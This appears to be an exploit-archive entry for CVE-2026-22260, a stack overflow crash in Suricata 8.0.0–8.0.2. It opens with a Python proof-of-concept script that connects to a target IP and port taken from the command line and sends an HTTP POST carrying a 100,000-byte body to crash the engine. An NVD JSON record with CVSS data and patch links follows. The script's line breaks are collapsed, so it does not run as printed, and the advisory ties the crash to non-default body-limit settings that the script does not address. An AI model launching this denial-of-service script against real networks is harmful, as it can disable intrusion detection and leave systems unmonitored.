CVE-2026-22260

import socket import sys def send_malicious_request(target_ip, target_port): """ PoC for CVE-2026-22260 - Suricata Stack Overflow DoS This PoC sends an HTTP request with oversized body to trigger stack overflow """ # Create large payload to trigger stack overflow body_size = 100000 # Large body size payload = b'A' * body_size # HTTP request with large body http_request = ( b'POST / HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b':' + str(target_port).encode() + b'\r\n' b'Content-Length: ' + str(body_size).encode() + b'\r\n' b'\r\n' + payload ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(http_request) print(f'[+] Malicious request sent to {target_ip}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <target_port>') sys.exit(1) send_malicious_request(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-22260", "sourceIdentifier": "[email protected]", "published": "2026-01-27T18:15:55.383", "lastModified": "2026-01-29T21:03:54.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. Starting in version 8.0.0 and prior to version 8.0.3, Suricata can crash with a stack overflow. Version 8.0.3 patches the issue. As a workaround, use default values for `request-body-limit` and `response-body-limit`."}, {"lang": "es", "value": "Suricata es un motor IDS, IPS y NSM de red. A partir de la versión 8.0.0 y antes de la versión 8.0.3, Suricata puede fallar con un desbordamiento de pila. La versión 8.0.3 corrige el problema. Como solución alternativa, use los valores predeterminados para 'request-body-limit' y 'response-body-limit'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "E7DA8362-52A2-4ACC-83F7-CA2E77AE89C6"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/0dddac7278c8b9cf3c1e4c1c71e620a78ec1c185", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-3gm8-84cm-5x22", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8185", "source": "[email protected]", "tags": ["Permissions Required"]}]}}